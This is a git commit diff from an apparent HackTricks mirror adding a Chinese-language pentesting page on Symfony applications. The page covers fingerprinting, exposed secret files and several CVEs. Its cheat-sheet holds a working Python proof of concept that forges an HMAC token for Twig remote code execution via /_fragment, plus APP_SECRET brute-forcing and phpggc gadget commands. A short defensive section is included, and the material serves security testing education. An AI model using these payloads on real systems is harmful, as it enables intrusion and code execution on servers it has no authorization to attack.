mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/symphony.md'
This commit is contained in:
parent
af1124118c
commit
b6b1bcc876
@ -2,10 +2,123 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
请查看以下帖子:
|
||||
Symfony 是最广泛使用的 PHP 框架之一,常出现在企业、电商和 CMS 目标(Drupal、Shopware、Ibexa、OroCRM……都嵌入了 Symfony 组件)的评估中。此页面收集了攻击性提示、常见的错误配置和最近的漏洞,当你发现 Symfony 应用程序时,这些内容应该在你的检查清单上。
|
||||
|
||||
- [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
|
||||
- [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
|
||||
- [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
|
||||
> 历史备注:生态系统中很大一部分仍在运行 **5.4 LTS** 分支(EOL **2025年11月**)。始终验证确切的次要版本,因为许多 2023-2025 年的安全建议仅在补丁版本中修复(例如 5.4.46 → 5.4.50)。
|
||||
|
||||
---
|
||||
|
||||
## Recon & Enumeration
|
||||
|
||||
### Finger-printing
|
||||
* HTTP 响应头:`X-Powered-By: Symfony`,`X-Debug-Token`,`X-Debug-Token-Link` 或以 `sf_redirect`,`sf_session`,`MOCKSESSID` 开头的 cookies。
|
||||
* 源代码泄露(`composer.json`,`composer.lock`,`/vendor/…`)通常会揭示确切版本:
|
||||
```bash
|
||||
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
|
||||
```
|
||||
* 仅在 Symfony 上存在的公共路由:
|
||||
* `/_profiler` (Symfony **Profiler** & debug toolbar)
|
||||
* `/_wdt/<token>` (“Web Debug Toolbar”)
|
||||
* `/_error/{code}.{_format}` (漂亮的错误页面)
|
||||
* `/app_dev.php`,`/config.php`,`/config_dev.php`(4.0 之前的开发前控制器)
|
||||
* Wappalyzer、BuiltWith 或 ffuf/feroxbuster 字典:`symfony.txt` → 查找 `/_fragment`,`/_profiler`,`.env`,`.htaccess`。
|
||||
|
||||
### Interesting files & endpoints
|
||||
| Path | Why it matters |
|
||||
|------|----------------|
|
||||
| `/.env`,`/.env.local`,`/.env.prod` | 经常错误部署 → 泄露 `APP_SECRET`,数据库凭据,SMTP,AWS 密钥 |
|
||||
| `/.git`,`.svn`,`.hg` | 源代码泄露 → 凭据 + 业务逻辑 |
|
||||
| `/var/log/*.log`,`/log/dev.log` | Web 根目录错误配置暴露堆栈跟踪 |
|
||||
| `/_profiler` | 完整请求历史、配置、服务容器、**APP_SECRET** (≤ 3.4) |
|
||||
| `/_fragment` | ESI/HInclude 使用的入口点。一旦知道 `APP_SECRET`,可以进行滥用 |
|
||||
| `/vendor/phpunit/phpunit/phpunit` | 如果可访问则为 PHPUnit RCE (CVE-2017-9841) |
|
||||
| `/index.php/_error/{code}` | Finger-print & 有时泄露异常跟踪 |
|
||||
|
||||
---
|
||||
|
||||
## High-impact Vulnerabilities (2023-2025)
|
||||
|
||||
### 1. APP_SECRET disclosure ➜ RCE via `/_fragment` (aka “secret-fragment”)
|
||||
* **CVE-2019-18889** 最初,但 *仍然* 出现在现代目标上,当调试被启用或 `.env` 被暴露时。
|
||||
* 一旦你知道 32 字符的 `APP_SECRET`,构造 HMAC 令牌并滥用内部 `render()` 控制器来执行任意 Twig:
|
||||
```python
|
||||
# PoC – 需要密钥
|
||||
import hmac, hashlib, requests, urllib.parse as u
|
||||
secret = bytes.fromhex('deadbeef…')
|
||||
payload = "{{['id']|filter('system')}}" # Twig 中的 RCE
|
||||
query = {
|
||||
'template': '@app/404.html.twig',
|
||||
'filter': 'raw',
|
||||
'_format': 'html',
|
||||
'_locale': 'en',
|
||||
'globals[cmd]': 'id'
|
||||
}
|
||||
qs = u.urlencode(query, doseq=True)
|
||||
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
|
||||
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
|
||||
print(r.text)
|
||||
```
|
||||
* 优秀的写作和利用脚本:Ambionics 博客(在参考文献中链接)。
|
||||
|
||||
### 2. Windows Process Hijack – CVE-2024-51736
|
||||
* `Process` 组件在 Windows 上 **在** `PATH` 之前搜索当前工作目录。能够在可写的 Web 根目录中上传 `tar.exe`,`cmd.exe` 等并触发 `Process`(例如文件提取、PDF 生成)的攻击者获得命令执行。
|
||||
* 在 5.4.50,6.4.14,7.1.7 中修复。
|
||||
|
||||
### 3. Session-Fixation – CVE-2023-46733
|
||||
* 认证保护在登录后重用现有会话 ID。如果攻击者在受害者认证 **之前** 设置 cookie,他们在登录后劫持账户。
|
||||
|
||||
### 4. Twig sandbox XSS – CVE-2023-46734
|
||||
* 在暴露用户控制模板的应用程序中(管理员 CMS,电子邮件构建器),`nl2br` 过滤器可能被滥用以绕过沙箱并注入 JS。
|
||||
|
||||
### 5. Symfony 1 gadget chains (仍在遗留应用中发现)
|
||||
* `phpggc symfony/1 system id` 生成一个 Phar 负载,当在 `sfNamespacedParameterHolder` 等类上发生 unserialize() 时触发 RCE。检查文件上传端点和 `phar://` 包装器。
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Exploitation Cheat-Sheet
|
||||
|
||||
### Calculate HMAC token for `/_fragment`
|
||||
```bash
|
||||
python - <<'PY'
|
||||
import sys, hmac, hashlib, urllib.parse as u
|
||||
secret = bytes.fromhex(sys.argv[1])
|
||||
qs = u.quote_plus(sys.argv[2], safe='=&')
|
||||
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
|
||||
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
|
||||
```
|
||||
### 暴力破解弱 `APP_SECRET`
|
||||
```bash
|
||||
cewl -d3 https://target -w words.txt
|
||||
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
|
||||
```
|
||||
### 通过暴露的 Symfony Console 进行 RCE
|
||||
如果 `bin/console` 可以通过 `php-fpm` 或直接的 CLI 上传访问:
|
||||
```bash
|
||||
php bin/console about # confirm it works
|
||||
php bin/console cache:clear --no-warmup
|
||||
```
|
||||
使用反序列化小工具在缓存目录中,或编写一个恶意的 Twig 模板,该模板将在下一个请求中执行。
|
||||
|
||||
---
|
||||
|
||||
## 防御性注意事项
|
||||
1. **绝不要将调试模式** (`APP_ENV=dev`, `APP_DEBUG=1`) **部署到生产环境;在 web 服务器配置中阻止** `/app_dev.php`、`/_profiler`、`/_wdt`。
|
||||
2. 将秘密存储在环境变量或 `vault/secrets.local.php` 中,*绝不要*存储在可以通过文档根访问的文件中。
|
||||
3. 强制补丁管理 – 订阅 Symfony 安全公告,并保持至少 LTS 补丁级别。
|
||||
4. 如果您在 Windows 上运行,请立即升级以减轻 CVE-2024-51736,或添加 `open_basedir`/`disable_functions` 深度防御。
|
||||
|
||||
---
|
||||
|
||||
### 有用的攻击工具
|
||||
* **ambionics/symfony-exploits** – secret-fragment RCE,调试器路由发现。
|
||||
* **phpggc** – 为 Symfony 1 和 2 准备好的小工具链。
|
||||
* **sf-encoder** – 计算 `_fragment` HMAC 的小助手(Go 实现)。
|
||||
|
||||
## 参考
|
||||
* [Ambionics – Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
|
||||
* [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user